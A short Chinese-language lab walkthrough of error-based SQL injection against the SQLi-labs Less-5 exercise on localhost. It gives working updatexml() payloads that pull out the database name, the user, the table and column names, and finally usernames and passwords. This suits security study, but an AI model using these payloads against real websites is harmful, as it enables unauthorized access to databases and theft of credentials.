updatexml() - Xpath类型函数
1. 确定注入点闭合方式
确认为字符型注入
2. 爆出当前数据库的库名
http://127.0.0.1/sqlilabs/Less-5/?id=1' and updatexml('~',concat('~',(select database())),'~') --+
3. 爆出当前用户名
http://127.0.0.1/sqlilabs/Less-5/?id=1' and updatexml('~',concat('~',(select user())),'~') --+
4. 爆出MySQL 版本
5. 查询当前数据库的表名
http://127.0.0.1/sqlilabs/Less-5/?id=1' and updatexml('~',concat('~',(select table_name from information_schema.tables where table_schema=database() limit 0,1)),'~') --+
注意:报错注入不能使用group_concat()函数直接将所有信息获取出来,只能一条一条获取,而且必须使用limit 0,1控制
通过limit 即可遍历出所有的表名 (emails,referers,uagents,users)
6. 查询users表的列名
http://127.0.0.1/sqlilabs/Less-5/?id=1' and updatexml('~',concat('~',(select column_name from information_schema.columns where table_schema=database() and table_name='users' limit 0,1)),'~') --+
通过limit 即可遍历出所有的列名 (id,username,password)
7. 爆出用户信息
http://127.0.0.1/sqlilabs/Less-5/?id=1' and updatexml('~',concat('~',(select concat(username,password) from users limit 0,1)),'~') --+
可在concat中添加分隔符 更方便数据的获取
http://127.0.0.1/sqlilabs/Less-5/?id=1' and updatexml('~',concat('~',(select concat(username,'~',password) from users limit 0,1)),'~') --+